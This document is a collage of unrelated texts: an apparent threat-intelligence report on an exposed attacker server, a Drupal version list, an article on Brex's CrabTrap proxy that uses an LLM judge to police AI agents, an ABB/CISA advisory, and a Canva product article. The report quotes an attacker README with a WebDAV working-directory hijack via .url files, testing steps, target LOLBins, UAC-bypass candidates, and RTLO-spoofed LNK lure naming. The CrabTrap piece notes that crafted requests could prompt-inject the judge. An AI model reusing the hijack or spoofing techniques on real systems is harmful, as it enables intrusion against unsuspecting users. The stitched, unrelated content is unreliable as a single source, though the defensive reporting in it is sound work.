  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

This vulnerability affects the following application versions:

• Drupal 8.7.0
• Drupal 8.7.1
• Drupal 8.7.2
• Drupal 8.7.3
• Drupal 8.7.4
• Drupal 8.7.5
• Drupal 8.7.6
• Drupal 8.7.7
• Drupal 8.7.8
• Drupal 8.7.9
• Drupal 8.7.10
• Drupal 8.7.11
• Drupal 8.7.12
• Drupal 8.7.13
• Drupal 8.7.14
• Drupal 8.8.0
• Drupal 8.8.1
• Drupal 8.8.2
• Drupal 8.8.3
• Drupal 8.8.4
• Drupal 8.8.5
• Drupal 8.8.6
• Drupal 8.8.7
• Drupal 8.8.8
• Drupal 8.8.9
• Drupal 8.8.10
• Drupal 8.8.11
• Drupal 8.8.12
• Drupal 8.9.0
• Drupal 8.9.1
• Drupal 8.9.2
• Drupal 8.9.3
• Drupal 8.9.4
• Drupal 8.9.5
• Drupal 8.9.6
• Drupal 8.9.7
• Drupal 8.9.8
• Drupal 8.9.9
• Drupal 8.9.10
• Drupal 8.9.11
• Drupal 8.9.12
• Drupal 8.9.13
• Drupal 8.9.14
• Drupal 8.9.15
• Drupal 8.9.16
• Drupal 8.9.17
• Drupal 8.9.18
• Drupal 8.9.19
• Drupal 8.9.20
• Drupal 9.0.0
• Drupal 9.0.1
• Drupal 9.0.2
• Drupal 9.0.3
• Drupal 9.0.4
• Drupal 9.0.5
• Drupal 9.0.6
• Drupal 9.0.7
• Drupal 9.0.8
• Drupal 9.0.9
• Drupal 9.0.10
• Drupal 9.0.11
• Drupal 9.0.12
• Drupal 9.0.13
• Drupal 9.0.14
• Drupal 9.1.0
• Drupal 9.1.1
• Drupal 9.1.2
• Drupal 9.1.3
• Drupal 9.1.4
• Drupal 9.1.5
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• Drupal 9.1.15
• Drupal 9.2.0
• Drupal 9.2.1
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• Drupal 9.3.0
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• Drupal 9.4.0
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• Drupal 9.5.0
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• Drupal 10.0.0
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• Drupal 10.1.0
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• Drupal 10.1.3
• Drupal 10.1.4
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• Drupal 10.1.8
• Drupal 10.2.0
• Drupal 10.2.1
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• Drupal 10.2.12
• Drupal 10.3.0
• Drupal 10.3.1
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• Drupal 10.3.10
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• Drupal 10.4.0
• Drupal 10.4.1
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• Drupal 11.0.0
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• Drupal 11.1.0
• Drupal 11.1.1
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• Drupal 11.2.10
• Drupal 11.2.11
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• Drupal 11.2.14
• Drupal 11.3.0
• Drupal 11.3.1
• Drupal 11.3.2
• Drupal 11.3.3
• Drupal 11.3.4
• Drupal 11.3.5
• Drupal 11.3.6
• Drupal 11.3.7
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• Drupal 11.3.11
• Drupal 11.3.12
• Drupal 11.3.13
• Drupal 11.4.0
• Drupal 11.4.1
• Drupal 11.4.2
• Drupal 11.4.3

Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. 

“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

How Brex targeted the transport layer

The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. 

“Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. 

Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. 

This made the transport layer a core architectural component and natural starting point, he said. 

By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. 

The LLM-as-a-judge training loop

CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. 

From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. 

All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. 

“That closes the loop between observed denials and policy refinement,” Franceschi said. 

Core challenges and roadblocks 

Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. 

However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. 

Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. 

Results, and where CrabTrap might evolve

Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. 

Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. 

“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. 

Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

“The proxy became a discovery tool, not just an enforcement one,” he said. 

Areas for growth (and input from the open-source community)

Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. 

Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. 

As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. 

“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. 

Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. 

Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. 

What other builders can learn from CrabTrap

The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. 

“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

Summary

ABB became aware of vulnerability in the products versions listed as affected in the advisory, where an incorrect version of Online Builder (ONB) was included in the media. An update is available that resolves the vulnerability, see details in Recommended immediate actions.

The following versions of ABB Advant Master Online Builder are affected:

• Control Builder A <=1.4/4 (CVE-2025-13162)
• 800xA for Advant Master <=6.0.3-1, <=6.1.1-1, 6.1.1-3, 6.2.0-1 (CVE-2025-13162, CVE-2025-13162, CVE-2025-13162, CVE-2025-13162)

Background

• Critical Infrastructure Sectors: Critical Manufacturing
• Countries/Areas Deployed: Worldwide
• Company Headquarters Location: Switzerland

Vulnerabilities

Acknowledgments

• ABB PSIRT reported this vulnerability to CISA.

Notice

The information in this document is subject to change without notice, and should not be construed as a commitment by ABB. ABB provides no warranty, express or implied, including warranties of merchantability and fitness for a particular purpose, for the information contained in this document, and assumes no responsibility for any errors that may appear in this document. In no event shall ABB or any of its suppliers be liable for direct, indirect, special, incidental or consequential damages of any nature or kind arising from the use of this document, or from the use of any hardware or software described in this document, even if ABB or its suppliers have been advised of the possibility of such damages. This document and parts hereof must not be reproduced or copied without written permission from ABB, and the contents hereof must not be imparted to a third party nor used for any unauthorized purpose. All rights to registrations and trademarks reside with their respective owners.

Frequently Asked Questions

What is the scope of vulnerability? - An attacker who successfully exploited this vulnerability could insert and run arbitrary code in an affected system node. What causes the vulnerability? - The vulnerability is caused by not having restricted permission on an application directory where DLL files are stored. What is Advant Master Online Builder? - Online Builder is part of Control Builder A, being a set of applications for configuration and programming of Advant Master controllers. Online Builder is also part of 800xA for Advant Master, an extension package to System 800xA connecting to Advant Master controllers. What might an attacker use the vulnerability to do? - An attacker who successfully exploited this vulnerability can run arbitrary code in an affected node. How could an attacker exploit the vulnerability? - An attacker who obtains the necessary access could exploit vulnerability by placing malicious DLL´s in the unrestricted application directory, leading to unauthorized code execution and compromising system integrity. Could the vulnerability be exploited remotely? - No, to exploit this vulnerability an attacker would need to have physical access to an affected system node. Can functional safety be affected by an exploit of this vulnerability? - No. What does the update do? - The update of the Online Builder (ONB) resolves the vulnerability by adding restrictions to the application folder, requiring authentication. When this security advisory was issued, had this vulnerability been publicly disclosed? - No, ABB identified this vulnerability through its internal security assessment and verification processes. When this security advisory was issued, had ABB received any reports that this vulnerability was being exploited? - No, ABB had not received any information indicating that this vulnerability had been exploited when this security advisory was originally issued.

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.

Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolate them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer

This ICSA is a verbatim republication of ABB PSIRT 7PAA020047 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact ABB PSIRT directly for any questions regarding this advisory.

Revision History

• Initial Release Date: 2026-06-23

Legal Notice and Terms of Use

The move is Canva's most aggressive push yet into the fast-growing "vibe coding" market, a category that barely existed 18 months ago but has already minted billion-dollar startups and reshaped how non-developers think about building software. But where rivals like Lovable, Replit, and Bolt.new have focused primarily on generating functional code from text prompts, Canva is making a different bet: that the real bottleneck isn't creating the code — it's making the output actually look good.

"Most vibe coding tools stop at functional — generating output that looks the same as everyone else's," Canva states in its announcement. "You might get a working prototype, but making it actually look like yours requires a complex editing surface, a separate design tool, a developer, or endless back-and-forth prompting that rarely lands where you want it.”

Danny Wu, Canva's Head of AI Products, framed the product's positioning in stark terms during an exclusive interview with VentureBeat ahead of the launch.

"We are deliberately targeting non-technical users," Wu said. "Canva Code isn't a tool we're building for developers. What we're trying to do is bring the power of AI coding — and really lightweight coding — into the Canva platform, while answering our users' requests for more interactivity, more customization, and more flexibility, from websites to interactive presentations."

Canva Code 2.0 brings drag-and-drop editing, HTML import, and 75% faster generation to AI-built websites

The update introduces several capabilities designed to collapse the distance between generating code and publishing a polished interactive experience. Users can now create Canva Code projects directly inside other design projects — embedding interactive elements within a whiteboard, presentation deck, or standalone page. Canva has also added more than 50 new templates specifically designed for interactive designs, along with the ability to import raw HTML files from other AI coding tools and convert them into editable Canva designs.

The performance improvements are significant. Canva says it has reduced average code generation time by 75 percent and cut the median time from initial prompt to a published site by 30 percent. The company also reports that integrating Canva Code into the broader Canva editor — allowing users to treat coded outputs like any other design element — has increased active Code users by 25 percent.

Perhaps the most distinctive feature is the editing experience itself. Unlike most AI coding platforms, which require users to re-prompt or modify raw code to make visual changes, Canva Code 2.0 lets users click directly into generated elements to change text, drag and drop images from Canva's built-in library of over 120 million templates and assets, update colors and fonts through a familiar toolbar, or select a specific element and refine it through conversational AI. Every output is fully interactive and automatically adapts to different screen sizes, with a built-in mobile preview.

Wu demonstrated the drag-and-drop editing during the interview, showing how a generated conference website could be modified in real time — swapping in photos, changing fonts to branded alternatives, and editing text directly on the canvas. "The key differentiator with Canva Code is the editability and the kindness of the outputs it generates," he said, though he noted one current limitation: "We don't support moving elements around. You still have to re-prompt for that."

How Canva plans to compete with Lovable, Replit, and Bolt in the booming AI app builder market

Canva's entry into vibe coding at this scale arrives at a pivotal moment for the category. According to market research published by Luminix AI in May 2026, the vibe coding and AI app builder market has reached an estimated $4.7 billion in 2026, with projections pointing toward $12.3 billion by 2027 at roughly 38 percent compound annual growth. The research also estimates that AI-generated code now comprises approximately 41 percent of all code written globally — a figure that would have seemed inconceivable even two years ago.

The competitive landscape has grown ferocious. Lovable, which focuses on conversational, design-forward app generation for non-technical founders, has achieved what may be the fastest revenue ramp in the category's history — reportedly reaching approximately $400 million in annual recurring revenue by early 2026, according to Luminix's analysis. Replit, which transformed its browser-based IDE into a full vibe-coding engine through successive AI agent releases, has tripled its valuation to $9 billion and is targeting $1 billion in run-rate revenue by the end of 2026, per the same report. Bolt.new, which runs a full Node.js environment entirely in the browser, scaled from $4 million to $40 million in ARR within months of launching.

And then there is Canva, which brings something none of those platforms possess: a quarter-billion-user design ecosystem where brands, teams, and individuals already store their visual identities, collaborate on projects, and publish content.

Wu positioned Canva Code not as a direct competitor to these developer-focused tools but as something that fills a gap none of them have addressed. "A lot of the requests that we have been getting and the usage we're seeing is actually with using Canva Code not necessarily as just one artifact, but as part of an overall design, the visual communication they're trying to tell," Wu said. "Like when you have a sales deck, you're able to add a calculator, you're able to add a visualizer of what exactly your product does. That's something where an interactive slide can be worth a thousand pictures."

Why Canva's HTML import feature could turn it into a 'finishing layer' for every AI coding tool

One of the most strategically interesting features in Canva Code 2.0 is its HTML import capability, which allows users to take code generated by any AI tool — including ChatGPT, Claude, Lovable, or Bolt — and bring it into Canva as a fully editable design. The implication is unmistakable: Canva is positioning itself as the place where AI-generated code gets its finishing touches, regardless of where it was originally created.

When asked directly whether this amounts to positioning Canva as a "finishing layer on top of vibe coding," Wu offered a diplomatic but revealing response. "It's really a continuation of our goal to make all design as easy as possible," he said. "We've supported importing PDFs and translating them into docs, importing PowerPoint files — so in one way, it's an expansion of that. But in another way, it's really just listening to what our users want and making Canva both the most useful and the most compatible platform.”

He paused, then added: "It's not that we're deliberately positioning ourselves as a specific layer, say like a finishing layer after vibe coding. We just really want to make our platform the most accessible and the most pluggable."

